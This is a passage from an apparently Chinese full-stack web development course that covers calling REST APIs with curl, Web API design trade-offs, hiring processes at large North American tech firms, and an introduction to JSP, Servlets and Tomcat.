在做技术比较的时候，文中已经简单介绍了 REST 和 SOAP 的优劣，你觉得，它们各自适合怎样的业务场景呢？

有位程序员朋友在应用 RESTful 风格设计用户管理系统的接口时，“删除单个用户”功能的 URL 举例如下，你觉得有哪些问题？

http://xxx/deleteUser?userName=James

今天的内容就到这里，希望你已经享受到了技术学习的快乐，如果你还有余力，请继续学习下面的选修课堂和扩展阅读。最后，对于上面的问题，或者你对今天的学习有什么感受，欢迎在留言区和我讨论！

选修课堂：动手调用 RESTful API

学习全栈怎么能不动手实践呢，现在就让我们开始吧。有一些在线工具，预置了 REST 风格的接口服务，我们可以使用命令行去指定不同的 HTTP 方法，发送一些不同的 HTTP 请求，观察返回，通过实际的练习，相信你能够更好地理解 REST。这样的工具有很多，你可以自行搜索，也可以直接选择 REQ | RES：

你可以使用网站上预置的请求，但我更推荐你自己写 curl 命令。比如发送一个 GET 请求，列出所有用户：

curl -v https://reqres.in/api/users | jq

其中的 -v 参数可以帮助输出详尽的信息，包括请求和响应的完整信息，当然也可以不用；后面的 “| jq” 是为了让返回的 JSON 数据展示更美观，当然，你需要安装 jq。如果你没有安装，不使用 jq 管道也是完全可以的。

再比如，使用 POST 请求创建一个用户：

curl -X POST -d '{"name":"xxx", "job":"yyy"}' -H "Content-Type: application/json" https://reqres.in/api/users | jq

这里使用了 -x 参数指定其为 POST 请求，之后的 Content-Type 是必不可少的，而 JSON 形式的 user 对象则通过参数 -d 传了过去。

最后得到了这样的结果：

... (省略请求统计信息)

{

  "name": "xxx",

  "job": "yyy",

  "id": "585",

  "createdAt": "2019-07-20T22:19:49.825Z"

}

扩展阅读

W3Cschool 上的 SOAP 教程，如果你对 SOAP 不够熟悉，那么你可以参考这个简明扼要的教程。

【基础】REST API Tutorial，REST 的教程很多，这是我觉得非常简洁和清晰的一个。

ProgrammableWeb 上的 Web API 列表，排名最靠前的 10 个 API，其中有 9 个的架构风格都是 REST，这也从侧面应证了 REST 在互联网的趋势。

REST 和 SOAP：谁更好，或者都好？这是一篇内容精悍的译文，分别介绍了适合 REST 和 SOAP 的场景。

05 | 权衡的艺术：漫谈Web API的设计

你好，我是四火。

今天，我们该根据之前所学，来谈谈具体怎样设计 Web API 接口了。我们围绕的核心，是“权衡”（trade-off）这两个字，事实上，它不只是 Web API 接口设计的核心，还是软件绝大多数设计问题的核心。

我们说“没有银弹”，是因为没有一种技术可以百搭，没有一种解决方案是完美的，但一个优秀的全栈工程师，是可以从琳琅满目的同类技术中，因地制宜地选择出最适合的那一个。

概念

在一切开始之前，我们先来明确概念。什么是 Web API？

你应该很熟悉 API，即 Application Programming Interface，应用程序的接口。它指的就是一组约定，不同系统之间的沟通必须遵循的协议。使用者知道了 API，就知道该怎样和它沟通，使用它的功能，而不关心它是怎么实现的。

Web API 指的依然是应用程序接口，只不过它现在暴露在了 Web 的环境里。并且，我们通常意义上讲 Web API 的时候，无论是在 B/S（浏览器 / 服务器）模型还是 C/S（客户端 / 服务器）模型下，往往都心照不宣地默认它在服务端，并被动地接受请求消息，返回响应。

通常一个 Web API 需要包括哪些内容呢？

回答这个问题前，让我们先闭上眼想一想，如果没有“Web”这个修饰词，普通的 API 要包括哪些内容呢？嗯，功能、性能、入参、返回值……它们都对，看起来几乎是所有普通 API 的特性，在 Web API 中也全都存在。而且，因为 Web 的特性，它还具备我们谈论普通 API 时不太涉及的内容：

比如承载协议。这里可以有多个协议，因为协议是分层的。HTTP 协议和 TCP 协议就是并存的。

再比如请求和响应格式。Web API 将普通 API 的方法调用变成了网络通信，因此参数的传入变成了请求传入，结果返回变成了响应传出。

正是有了 Web API，网络中的不同应用才能互相协作，分布式系统才能正常工作，互联网才能如此蓬勃发展。而我们，不能只停留在“知道”的层面，还要去深入了解它们。

Web API 的设计步骤

关于 Web API 的设计步骤，不同人有不同的理解，争论不少，涉及到的内容也非常广泛。这里我综合了自己的经验和观点进行介绍，希望你能有所启发。

第一步：明确核心问题，确定问题域

和普通的 API 设计、程序的库设计一样，Web API 并不是东打一枪，西打一炮的。想想写代码的时候，我们还要让同类型的方法，以某种方式组织在类和对象中，实现功能上的内聚呢，一个类还要遵循单一职责的原则呢。

因此，一组 Web API，就是要专注于一类问题，核心问题必须是最重要的一个。

在上一讲中我举了个图书管理系统的例子，那么可以想象，图书的增删改查 API 就可以放到一起，而如果有一个新的 API 用于查询图书馆内部员工的信息，那么它显然应该单独归纳到另外的类别中，甚至是另外的系统中。

第二步：结合实际需求和限制，选择承载技术

这里有两件事情需要你考虑，一个是需求，一个是限制。我们虽然经常这样分开说，但严格来说，限制也是需求的一种。比方说，如果对网络传输的效率要求很高，时延要求很短，这就是需求，而且是非功能性的需求。

大多数功能性的需求大家都能意识到，但是一些非功能性的需求，或者一些“限制”就容易被忽略了。比如说，向前的兼容性，不同版本同时运行，鉴权和访问控制，库依赖限制，易测试性和可维护性，平滑发布（如新老接口并行），等等。

再来说说承载技术。承载技术指的是实现接口，以及它的请求响应传输所需要使用到的技术集合，比如 HTTP + JSON。我们前面提到的要求网络传输效率高、时延短，Protobuf 就是一个值得考察的技术；但有时候，我们更需要消息直观、易读，那么显然 Protobuf 就不是一个适合的技术。这里我们通过分析技术优劣来做选择，这就是权衡。

虽说 Web API 主要的工作在服务端，但在技术分析时还需要考虑客户端。特别是一些技术要求自动生成客户端，而有些技术则允许通过一定方式“定制”客户端（例如使用 DSL，Domain Specific Language，领域特定语言）。

第三步：确定接口风格

技术的选择将很大程度地影响接口的风格。

还记得我在上一讲介绍的 SOAP 和 REST 的例子吗？那就是接口风格比较的一个典型示例。请不要小看这两个字，“风格”包含的内容很多，大到怎样划分功能，小到接口的命名，都包括在内。在实际设计中，我们很少正面地去谈论具体的风格，但我们都有意无意地将其考虑在内。这里我举几个比较重要的例子，通过它，你会了解到权衡其实无处不在。

角度一：易用性和通用性的平衡，或者说是设计“人本接口”还是“最简接口”。

比如一个图书管理的接口，一种设计是让其返回“流行书籍”，实际的规则是根据出版日期、借阅人数、引进数量等等做了复杂的查询而得出；而另一种设计则是让用户来自行决定和传入这几个参数，服务端不理解业务含义，接口本身保持通用。

前者偏向“易用”，更接近人的思维；后者偏向“通用”，提供了最简化的接口。虽说多数情况下我们还是会见到后者多一些，但二者却不能说谁对谁错，它们实际代表了不同的风格，各有优劣。

角度二：接口粒度的划分。

比如用户还书的过程包括：还书排队登记、检查书本状况、图书入库，这一系列过程是设计成一个大的接口一并完成，还是设计成三个单独的接口分别调用完成？

其实，这二者各有优劣。设计成大接口往往可以增加易用性，便于内部优化提高性能（而且只需调用一次）；设计成小接口可以增加可重用性，便于功能的组合。

你可能会想，两种方式都保留，让用户去选择不行吗？

行，但那样给双方带来好处的同时，也带来了更多的问题，除了风格的不一致，接口也不再是正交的，而是有一定重叠性的，并且更多的接口意味着更多的开发和维护工作。这些接口要像是一个人设计出来的，而不是简单的组合添加，风格统一也是一致性的一种表现。因此，多数情况下我们不那么做。你看，这又是权衡。

但是，我说的是“多数情况下”我们不那么做。在一些极端情况下，我们是会牺牲掉一致性，保留冗余的。

我举一个 JDK 的例子。JDK 的 HashTable 有一个 containsValue 方法，还有一个 contains 方法，二者功能上完全一样，之所以搞这样两个完全一样的方法，正是由于历史原因造成的。JDK 1.2 才正式引入 Java Collections Framework，抽象了 Map 接口，也才有了 containsValue 方法，而之前的方法因为需要保持向下兼容而无法删除，也是无可奈何。同样，这也是权衡。

第四步：定义具体接口形式

在上面这三步通用和共性的步骤完成之后，我们就可以正式跳进具体的接口定义中，去确定 URL、参数、返回和异常等通用而具体的形式了。还记得上一讲中对 REST 请求发送要点的分解吗？在它的基础上，我们将继续以 REST 风格为例，进行更深刻的讨论。

1. 条件查询

我们在上一讲的例子中使用 HTTP GET 请求从图书馆获取书本信息，从而完成增删改查中的“查”操作：

/books/123

/books/123/price

分别查询了 ID 为 123 的图书的全部属性，和该图书的价格信息。

但是，实际的查所包含的内容可远比这个例子多，比如不是通过 ID 查询，而是通过条件查询：

/books?author=Smith&page=2&pageSize=10&sortBy=name&order=desc

你看条件查询书籍，查询条件通过参数传入，指定了作者，要求显示第二页，每页大小为 10 条记录，按照书名降序排列。

除了使用 Query String（问号后的参数）来传递查询条件，多级路径也是一种常见的设计，这种设计让条件的层级关系更清晰。比如：

/category/456/books?author=Smith

它表示查询图书分类为“艺术”（编号为 456）的图书，并且作者是 Smith。看到这里，你可能会产生这样两个疑问。

疑问一：使用 ID 多不直观啊，我们能使用具体名称吗？

当然可以！可以使用具备业务意义的字段来代替没有可读性的 ID，但是这个字段不可重复，也不宜过长，比如例子中的 category 就可以使用名称，而图书，则可以使用国际标准书号 ISBN。于是 URI 就变成了：

/category/Arts/books?author=Smith

疑问二：category 可以通过 Query String 传入吗？比如下面这样：

/books?author=Smith&category=Arts

当然可以！“category”可以放置在路径中，也可以放置在查询参数串中。这是 REST 设计中的一个关于设计上合理冗余的典型例子，可以通过不同的方式来完成相同的查询。如果你学过 Perl，你可能听过“There’s more than one way to do it”这样的俗语，这是一样的道理，也是 REST 风格的一部分。

当然，从这也可以看出上一讲我们提到过的，REST 在统一性、一致性方面的约束力较弱。

2. 消息正文封装

有时候我们还需要传递消息正文，比如当我们使用 POST 请求创建对象，和使用 PUT 请求修改对象的时候，我们可以选择使用一种技术来封装它，例如 JSON 和 XML。通常来说，既然我们选择了 REST 风格，我们在相关技术的选择上也可以继续保持简约的一致性，因此 JSON 是更为常见的那一个。

{

  "name": "...",

  "category": "Arts",

  "authorId": 999,

  "price": {

    "currency": "CNY",

    "value": 12.99

  },

  "ISBN": "...",

  "quantity": 100,

  ...

}

上面的消息体内容就反映了一本书的属性，但是，在设置属性的时候，往往牵涉到对象关联，上面这个小小的例子就包含了其中三种典型的方式：

传递唯一业务字段：例如上面的 category 取值是具备实际业务意义的“Arts”；

传递唯一 id：例如上面的 authorId，请注意，这里不能传递实际作者名，因为作者可能会重名；

传递关联对象：例如上面的 price，这个对象通常可以是一个不完整的对象，这里指定了货币为人民币 CNY，也指定了价格数值为 12.99。

3. 响应和异常设计

HTTP 协议中规定了返回的状态码，我想你可能知道一些常见的返回码，大致上，它们分为这样五类：

1xx：表示请求已经被接受，但还需要继续处理。这时你可能还记得在 [第 03 讲] 中，我们将普通的 HTTP 请求升级成为 WebSocket 的过程，101 就是确认连接升级的状态码。

2xx：表示请求已经被接受和成功处理。最常见的就是 204，表示请求成功处理，且返回中没有正文内容。

3xx：表示重定向，请客户端使用重定向后的新地址继续请求。其中，301 是永久重定向，而 302 是临时重定向，新地址一般在响应头“Location”字段中指定。

4xx：表示客户端错误。服务端已经接到了请求，但是处理失败了，并且这个锅服务端不背。这可能是我们最熟悉的返回码了，比如最常见的 404，表示页面不存在。常见的还有 400，表示请求格式错误，以及 401，鉴权和认证失败。

5xx：表示服务端错误。这回这个处理失败的锅在服务端这边。最常见的是 500，通用的和未分类的服务端内部错误，还有 503，服务端暂时不可用。

错误处理是 Web API 设计中很重要的一部分，我们需要告知用户是哪个请求出错了，什么时间出错了，以及为什么出错。比如：

{

    "errorCode": 543,

    "timeStamp": 12345678,

    "message": "The requested book is not found.",

    "detailedInfomation": "...",

    "reference": "https://...",

    "requestId": "..."

}

在这个例子中，你可以看到上面提到的要素都具备了，注意这里的 errorCode 不是响应中的 HTTP 状态码，而是一个具备业务意义的内部定义的错误码。在有些设计里面，也会把 HTTP 状态码放到这个正文中，以方便客户端处理，这种冗余的设计当然也是可以的。

总结思考

还记得我们是通过怎样的步骤来设计 Web API 的吗？其实可以总结为八个字：问题、技术、风格和定义，由问题到实现，由概要到细节。

问题域往往比较好确定，技术选型在需求和限制分析清楚的情况下也不难做出选择，但是接口风格往往就考验 API 的设计功底了。在这部分中，易用性和通用性的平衡，接口粒度的控制，是非常重要的两个方面，这是需要通过不断地“权衡”来确定的。至于在接口定义的步骤中，细节很多，更多的内容需要我们在实践中多参考一些优秀的接口实现案例，逐渐积累经验。

这一讲通篇都不断地提到了“权衡”，现在我来提一个关于权衡的小问题：

在介绍 REST 的参数传递的时候，我们讲了 category 参数传递的两种方式，一种是通过路径传递，一种是通过 Query String 的参数传递。你觉得哪些参数适合使用第一种，哪些参数更适合使用第二种？

如果你还有余力，那我再提一个接口设计方面的问题：

我们提到了 REST 风格下，我们使用 HTTP 的不同方法来应对增删改查这样不同的行为。但是，互联网的业务是很复杂的，有时候操作并非简单的增删改查，这种情况会考验我们的 REST 设计功底。比如说，我们要给银行转账，即钱从一个人的账下转移到另一个人的账下，这样的复杂行为不属于增删改查中的任何一项，我们是否能使用 REST 风格来设计这样的转账接口呢？

到今天为止，第一章，也就是“网络协议和 Web 接口“的内容我们就讲完了。网络协议部分，我们以 HTTP 为核心，介绍了它的特性和发展进程，展示了 TLS 连接建立和证书验证的原理，深入了 Comet 和 WebSocket 等服务端消息推送技术，并通过抓包分析等实践，进一步加深了理解。Web 接口部分，我们结合图书馆的实例，学习和比较了 SOAP 和 REST 的实现和风格，并一步一步梳理了 Web 接口设计的过程。

最后，对于上面的问题你有什么答案，或是对于这一章的内容有什么思考和疑问，欢迎你在留言区中畅所欲言，我们一起探讨，相信能碰撞出很多新的火花。

扩展阅读

【基础】HTTP 状态码 和 HTTP 头字段，我们在工作中会反复和各式各样的状态码和请求、响应中的头部字段打交道，因此通读并熟知一些常见的状态码是很有必要的。关于 HTTP 状态码，有人把一些常见的状态码形象地对应到猫的照片，或许能帮助你记忆，当然，如果你喜欢狗，那你可以看看这个。

Any API，我们不能光闭门造车，还要去学习其它网站的 Web API 设计，了解互联网上大家都是怎么做的。我们学习它们的实现，但请不要盲目，有不少接口由于种种原因，设计有一些亟待商榷的地方，请带上你批判的眼光。

Richardson Maturity Model，这篇会有一些深度，大名鼎鼎的马丁·福勒（Martin Fowler）的文章，讲 REST 的一种成熟度模型，里面划分了从 0 级到 3 级这样 4 种成熟度级别，这种分级方式被一些人奉为圭臬。

06 | 特别放送：北美大厂如何招聘全栈工程师？

你好，我是四火。

在第一章技术内容的末尾，我们来换换脑子，聊一些略轻松的话题。我曾在开篇词中讲过，全栈工程师的市场需求量很大，今天我就来介绍一下北美大厂，特别是那些大名鼎鼎的互联网巨头们，都是怎样招聘全栈工程师的。

这些大公司在全世界不同的国家内往往都会建立基地聚敛人才，当然包括 Top 2 的互联网超级大国——中国（你可能还不知道，互联网十大企业中，中国占了四大，美国占了六大）。我想，了解一下他们的做法，对于程序员的你来说，既能拓宽眼界，也能更好地清楚自己在市场上的定位，从而更好地成长，这应当是很有价值的。

招人理念

首先，招聘这个事儿，其重要性毋庸置疑，这几乎是所有的互联网公司都认可的一点。对某些互联网公司来说，例如 Google，则是“最重要”的事情，连“之一”这两个字都省了。

招到一个优秀的工程师，你的团队和产品，都将获得巨大的收益；而招到一个不合格的工程师，不但会拉低团队的水准，还要花费其他同事大量的时间精力来帮助其成长。因此，招聘可以说是壮大一家公司最快的方法，但同时也是毁掉一家公司最快的方法。于是，面试，对于很多大型互联网公司的工程师来说，就是日常工作的一个重要组成部分。

通常来说，这些公司在招聘的时候，最关心这样两件事情。

一个是非技术能力，很多公司把其中重要的内容归纳成了领导力准则（Leadership Principles），比如亚马逊的这十几条；另一个则是技术能力，主要包括编程能力、问题解决（Problem Solving）能力和架构、设计能力。其中，不同级别的工程师，对于系统设计等内容的要求不同，但是对于编程能力的要求基本是一样的。例如，初级工程师可能在技术能力上 90% 考察的是编程能力和问题解决能力，而高级工程师这部分往往会掉到 60%，剩下的 30% 考察架构和设计能力。

我们可以把北美和国内不同的工程师岗位考察来做一个比较，它们都立足于基础，但还是有所区别的。国内大厂的面试我认为更具备实战性，即知识性更强，技术面较广，不同用人单位对于不同技术的考察也更具体；但北美（也包括在国内的北美外企）大厂的面试则更偏向于具体技术的问题解决能力、编码能力，以及架构设计能力等等。至于全栈工程师岗位，其实并没有特别显著的特殊性，候选者考察的理念基本是一样的，只是对于问题领域，以及技术栈等方面的考察，会更有针对性。

招聘流程

1. 简历阶段

招聘的流程有时很短，一周内就可以完成所有的事情，有时也会很长，数月、甚至超过一年之久。

大多数程序员还是习惯于使用招聘网站来投递简历，但是也有许多程序员们，在找工作的时间窗口内，是以点对点的方式来找下家的，即答复 E-mail、LinkedIn 上来主动来联系的 Recruiter（招聘人员）或 Manager（经理），主动投递目标公司，或者找朋友推荐，而不是将自己的简历无差别地挂到招聘网站上，这样可以有效避免过多的电话和消息骚扰，还可以针对特定的公司优化简历，做进一步准备。

但无论你是用招聘网站，还是朋友推荐，有一天，有一位自称公司的招聘人员用着客气的语气发来邮件 ，她介绍了自己的来历，并和你约了时间电话聊天，这就意味着“简历关”已过，进入了互相了解的阶段。

在把公司、团队、项目、薪酬等等这些事情都介绍完之后，如果互相还有进一步的意愿，通常就要进入电话面试环节了。对于全栈工程师这一岗位来说，有时招聘人员会问一点非常简单的 Web 相关的基础知识，这其实并非为了考察候选人的能力，而是为了过滤掉那些明显不靠谱的候选人，给后面的面试团队节约时间成本。之后，Recruiter 会根据工作的时间长短给出候选人的最低应聘级别，比如说，已经工作五年的工程师，最低也得是中级工程师的职位了，此时如果候选人达不到要求，那就不要了。

还有公司招聘是统招（General Hire），即招聘完毕之后统一双向选择去哪个小组工作，比如 Facebook，但绝大多数公司还是会采用项目组自己招聘的形式。对于前者，招聘人员会着重介绍公司的文化和公司的发展方向；但对于后者，则可以具体很多，即可以和候选人交流目标团队、项目和技术栈等。

2. 电话（视频）面试

电话面试（Phone Screen）通常有一轮或两轮，每轮 45 分钟到一个小时，有时候也会通过视频面试，当然，对于特别优秀或者他人强力推荐的候选人，甚至可以免试。

电话面试一般由一线工程师来担任面试官，如果是两轮面试，那么第二轮有时也由一线经理来担任面试官。电话面试至少有一轮必须要考编码问题，这个问题一般不会很难，通常是一个较为简单到中等偏下难度的算法题，但是需要在电话沟通的基础上，通过多人在线文档工具将代码写下来，面试官可以看到文本上的编码全过程。对于全栈工程师来说，面试官还可能会花几分钟的时间，问几个全栈技术范畴内的问题，但是总的流程是一样的。

电话面试出结果很快，一般 Hiring Manager（招聘经理）和参与面试的工程师一商量，就可以确定要不要进行下一步了。电话面试的通过率对于每个公司都不太一样 ，但是根据我的观察，一般这个通过率是在 30% ～ 50% 左右。如果电话面试挂掉的话，通常就可以认为候选人距离公司和团队的要求还有较大差距。

3. 现场面试

如果电话面试结果不错，候选人往往会有一个和团队核心成员或是经理见面的机会，比如 OCI（Oracle 的云基础设施部门，它是独立运作的，文化和流程都和传统的 Oracle 有较大不同），这主要是在进一步的面试前，给候选者和团队继续互相了解和深入的机会。毕竟，面试是双向的。

接下来，招聘人员会和候选人约时间进入 On-site（现场面试）环节，这个环节需要到项目组所在的城市去，且一般需要持续一天的时间。比较常见的是 5 轮面试的方式，每轮一个小时，中午会和招聘经理或是团队的工程师吃饭，这顿饭有可能作为一轮面试算入考察过程，也可能不算。像 Facebook 和 Google 都不算，候选人可以放松地在食堂饱餐一顿；Amazon、OCI 则往往会请候选人选择一份外卖，送来以后和招聘经理边吃边聊，考察非技术能力。

现场面试的招聘经理一般由一线工程师团队的经理担任。从这里你也可以看到，招聘一个人的成本，包括人力、时间、场地、差旅等等开销，是非常高昂的。

在除去吃饭以外的几轮面试中，编码能力是重点，通常最少有三轮是必须要涉及高强度的编码问题，我们把它简称为“主要问题”。这个编码通常在白板上进行。通常面试官会努力将候选人带入到团队合作解决问题的氛围中，然后给出一个较为模糊的问题，再来一起沟通交流解决问题，最后代码必须落到白板上面，这个解题过程要占据每轮面试的绝大部分时间。

对于初级工程师以上的职位，还有至少一轮的问题需要重点考察系统设计能力。每轮面试还有十多分钟的项目和问题挖掘时间，这部分的执行相对较为自由，往往是基于候选人的工作经历往深挖项目和技术，越具体越好。有经验的面试官会抓住一两个点往下深挖，挖到非常细节的部分，从而判断候选人是在夸夸其谈，还是一个真正做事的人。对于全栈工程师来说，项目和技术问题可能大量涉及全栈领域，例如以 Web 网站或应用为背景的题目。

这里我要再次强调一下白板代码的重要性，这里的白板代码不仅仅包括最后落笔写代码，还包括写代码前大量的确认、分析、讨论、架构、设计等等过程，这些占据技术面试的“主要问题”，所有的内容都是在白板上进行的，从中可以全方位地考察候选人技术和非技术能力。

就如同那个“没有 jQuery 不会写 JavaScript”这样略带戏谑、但又透露着些许无奈的说法一样，现在很多程序员朋友都忽视了基础能力的修炼，没有了 IDE 就不会写代码了。白板肯定不像 IDE，有方法提示，写错了还可以随意修改，所以你现在明白为什么用白板了吗？那是因为白板要求你的思路非常清晰，代码组织能力也要很高。由于空间的限制，在白板上修改代码总是件不那么容易的事儿。

另外，还要补充一点，上面谈到的每轮面试中，最重要的那道面试题，公司的要求是，题目在一开始必须要足够模糊，从而激发和考察候选人合作解决问题的能力，在沟通中逐步细化问题的时候，必须要达到中等偏上到困难的难度，以保证足够的区分度。

这样的问题会考察到候选人的多项素质，特别是编程能力和问题解决能力。但也不要觉得，面试官是在刻意为难，这样的题目设计起来其实并不容易，他们要尽量避免使用互联网上很容易找得到的“常见题”，这个过程往往比解题本身要难得多。题目不得涉及技术本身的奇技淫巧，不得对候选人使用的编程语言有限制，更要避免“知识性问题”。

综合来看，我觉得是不是主要问知识性问题，是北美软件工程师（包括全栈工程师）的面试，和国内的面试比起来，在技术层面最本质区别。

那什么是“知识性问题”呢？知识性问题，就是那些直接的、较容易通过搜索和文档获取到的知识性内容。比如，Spring 怎样配置 Bean，Tomcat 怎么修改最大连接数等等，这些问题，手册一翻就是分分钟的事情。

但这绝不是说这些知识不实用，面试官通常不问这类问题最大的原因是，知识性问题的随机性太强，如果候选人恰巧刚刚遇到过，或者记性不错，就很容易回答上来了。而这些却并不能反映候选者分析问题、思考、判断和权衡的能力。但话说回来，知识性问题也是考察候选人基础技能的一种方式，有的面试官也会问，但肯定不是每轮面试中占据时间最多的那个“主要问题”。

4. 讨论会

在面试之后，所有的面试官都要写下对于候选人的反馈，这包括候选人的优势和劣势。在很快而来的 Debrief Meeting（讨论会）中，所有的面试官会根据自己的判断评价候选人，分为四档，分别是“强烈建议录用”“建议录用”“建议不录用”和“强烈建议不录用”。

当然，他们可以说服别人，也可以被说服而改变评价。每一个人，都会负责一项技术考察项（比如数据结构和算法）和非技术考察项（比如是否能拥抱变化，逐步改进），这些考察项在不同的公司会有不同，通常来说五轮里面针对算法和数据结构的考察至少有三轮。另外，有一些非技术的“Red Flag”（即所谓的“红线”），是绝对不能触碰的，比如说对于现有的职位或年限说谎。

在一组面试的面试官中，有两个角色值得一提，一个是招聘经理，上面已经提到了；还有一个是技术负责人（例如在 Amazon 叫做 Bar Raiser，OCI 叫做 Bartender），负责保证招聘质量，他们拥有一票否决权，也就是说，哪怕其他所有人都同意，但这两人只要有一个不同意就不能通过。

对于其他情况，直接投票且多数获胜。少数情况下，针对某个候选人，讨论会可能会有截然相反的意见，这时候面试官们就会摆出事实依据进行争辩了。这个讨论会的录用结果，还要包括职位级别。另外，有少数公司在这方面采用的方式略有不同，比如微软，候选人的最终录用决策是由一个特殊的“大人物”（叫做 As Appropriate）决定的，这和国内某些互联网公司很像。

除了我刚刚说的讨论会，某些公司为了从更高层面上把控招聘需求和质量，还可能会有额外的环节，比如 Google 和 Facebook 在讨论会以后，Hiring Committee（招聘委员会）拥有下一步的决策权，他们可以对讨论会通过的候选人做进一步筛选。总的来说，不同的公司差异较大，但即便是同一家公司，现场面试的总体通过率也非常不确定，并且这个波动较大，高的时候可能达到接近一半，低的时候可能只有十分之一 。

如果这一步也过了，就可以根据面试反馈的结果适当调整候选者的职位级别，再往后就是商量并给出 offer，确定入职时间，进行背景调查等等众所周知的步骤了。

进一步思考

众所周知，在一家公司中，软件工程师的未来发展方向，通常包括技术路线和管理路线两个。但是据我了解，大多数程序员还是更钟情于技术路线的，可对于程序员的编程技术，你一定听说过“青春饭”的说法。

我也听到过不少程序员谈论自己的职业现状，表示随着工作经验的增加，公司似乎更爱招刚毕业不久的年轻人，因为他们更有精力，薪水也更低。于是，大家看着互联网大潮是越来越汹涌，可东西却是越来越学不动了，工作也越来越难找了……

这是怎么回事？

首先，我想说的是，找工作总是希望自己是往上走的，薪水越来越高，职位也越来越高，责任也越来越大，高级职位在市场上的需求却越来越小。因此，从这个角度看，工作本来就是越来越难找的。因此，如果是这个原因，这未必是一件坏事。

其次，随着年纪的增加，你觉得你的核心竞争力是什么？如果只是重复地写 Spring 的配置，只是照猫画虎写写 CRUD 的样板代码，那么，比你年轻、能吃苦、能加班的，且薪水更低的程序员当然可以分分钟打败你。因为，你这不是有了工作多年的经验，而是工作一年的经验重复了多遍。从这个角度看，无论这个招聘的职位是不是全栈，学的技术是不是在 Web 方面，道理都是一样的。

你的竞争力，在具备扎实基础的前提下，应该是经验、思路、眼界等等这些东西。技术是相通的，技术本质是不容易改变的，在新技术到来的时候，你有基础，无论是深度还是广度的积累，应该让你学得更快，而不是学得更慢。

我想，今天介绍的关于工程师招聘流程的内容，也恰好反映了上面这两点：

扎实的基础不可或缺，这是前提。老实说，我经常遇到工作了好多年的一线程序员，连一个简单的二叉树广度优先遍历算法都写不出来。

经验、思路、眼界，都有高度，才是更高级别技术职位的要求，这也反映在上述面试系统设计、问题解决等等方面。

这样的招聘方式当然有它的弊端，例如招到的人可能未必对所用技术都熟悉，未必能立马干活，但通过这样的招聘方式，确确实实可以过滤掉那些“一年工作经验重复多遍”的候选人。

总结思考

作为特别放送，今天的思考题，我想换个形式。如文中介绍的那样，设计一道合理的面试题其实并不容易，需要综合考虑多个因素。下面我列出了几道面试题，假设今天你就是面试官，你能说说它们中哪些适合作为全栈工程师岗位面试的“主要问题”，哪些不适合吗？

A：设计一个算法，把一个小于一百万的正整数，使用罗马数字来表示；
B：对一个 Web API，设计一个流量控制系统；
C：写一个 C++ 算法，实现 atoi 算法，即将字符串转换为数字；
D：设计一个网约车系统；
E：完成一个 HTML 页面，能够在网页上显示一个表示当前时间的数字时钟。

最后，我想强调一件事，单个应聘经历永远只能代表单次经验，如果有好的结果，那么恭喜你，但请不要意得志满，这其实并不代表你的整体水准；如果结果不好，也请不要灰心丧气，它并不代表你就真的达不到那家公司的要求。毕竟，招聘也好，面试也罢，其中的随机性太强，冷静、淡定分析自己的情况，再采取合理的措施，才是王道。

今天的特别放送就到这里，希望你在阅读后能有所收获。如果你在应聘和面试方面有什么困惑，或者想分享分享你的面试经历，欢迎在留言区一起讨论。

07 | 解耦是永恒的主题：MVC框架的发展

你好，我是四火。

欢迎进入第二章，本章我们将围绕 MVC 这个老而弥坚的架构模式展开方方面面的介绍，对于基于 Web 的全栈工程师来说，它是我们知识森林中心最茂密的一片区域，请继续打起精神，积极学习和思考。

无论是在 Web 全栈还是整个软件工程领域，有很多东西在本质上是相通的。比如我们在前一章提到的“权衡”（trade-off），我们后面还会反复提到。MVC 作为贯穿本章的主题，今天我们就通过它来引出另一个关键词——解耦。

JSP 和 Servlet

在我们谈 MVC 之前，先来讲一对好朋友，JSP 和 Servlet。说它们是好朋友，是因为它们经常一起出现，而事实上，它们还有更为紧密的联系。

1. 概念介绍

如果你有使用 Java 作为主要语言开发网站的经历，那么你一定听过别人谈论 JSP 和 Servlet。其中，Servlet 指的是服务端的一种 Java 写的组件，它可以接收和处理来自浏览器的请求，并生成结果数据，通常它会是 HTML、JSON 等常见格式，写入 HTTP 响应，返回给用户。

至于 JSP，它的全称叫做 Java Server Pages，它允许静态的 HTML 页面插入一些类似于“<% %>”这样的标记（scriptlet），而在这样的标记中，还能以表达式或代码片段的方式，嵌入一些 Java 代码，在 Web 容器响应 HTTP 请求时，这些标记里的 Java 代码会得到执行，这些标记也会被替换成代码实际执行的结果，嵌入页面中一并返回。这样一来，原本静态的页面，就能动态执行代码，并将执行结果写入页面了。

第一次运行时，系统会执行编译过程，并且这个过程只会执行一次：JSP 会处理而生成 Servlet 的 Java 代码，接着代码会被编译成字节码（class 文件），在 Java 虚拟机上运行。

之后每次就只需要执行运行过程了，Servlet 能够接受 HTTP 请求，并返回 HTML 文本，最终以 HTTP 响应的方式返回浏览器。

这个过程大致可以这样描述：

编译过程：JSP 页面 → Java 文件（Servlet）→ class 文件（Servlet）
运行过程：HTTP 请求 + class 文件（Servlet）→ HTML 文本

2. 动手验证

为了更好地理解这个过程，让我们来实际动手操作一遍。

首先，你需要安装两样东西，一样是 JDK（Java Development Kit）8，是 Java 的软件开发包；另一样是 Apache Tomcat 9，它是一款 Web 容器，也是一款 Servlet 容器，因此无论是静态的 HTML 页面，还是动态的 Servlet、JSP，都可以部署在上面运行。

你可以使用安装包安装，也可以使用包管理工具安装（比如 Mac 下使用 Homebrew 安装）。如果你的电脑上已经安装了，只是版本号不同，也是没有问题的。

安装完成以后，打开一个新的命令行窗口，执行一下 java --version 命令，你应该能看到类似以下信息：

java -version

java version "1.8.0_162"

Java(TM) SE Runtime Environment (build 1.8.0_162-b12)

Java HotSpot(TM) 64-Bit Server VM (build 25.162-b12, mixed mode)

这里显示了 JRE（Java Runtime Environment，Java 运行时环境）的版本号，以及虚拟机的类型和版本号。

同样地，执行 catalina version，你也能看到 Tomcat 重要的环境信息：

catalina version

Using CATALINA_BASE: ...

Using CATALINA_HOME: ...

Using CATALINA_TMPDIR: ...

（以下省略其它的环境变量，以及服务器、操作系统和 Java 虚拟机的版本信息）

其中，CATALINA_HOME 是 Tomcat 的“家”目录，就是它安装的位置，我们在下面要使用到它。

好，现在启动 Tomcat：

catalina run

在浏览器中访问 http://localhost:8080/，你应该能看到 Tomcat 的主页面：

接着，我们在 ${CATALINA_HOME}/webapps/ROOT 下建立文件 hello_world.jsp，写入：

Hello world! Time: <%= new java.util.Date() %>

接着，访问 http://localhost:8080/hello_world.jsp，你将看到类似下面这样的文本：

Hello world! Time: Sat Jul 27 20:39:19 PDT 2019

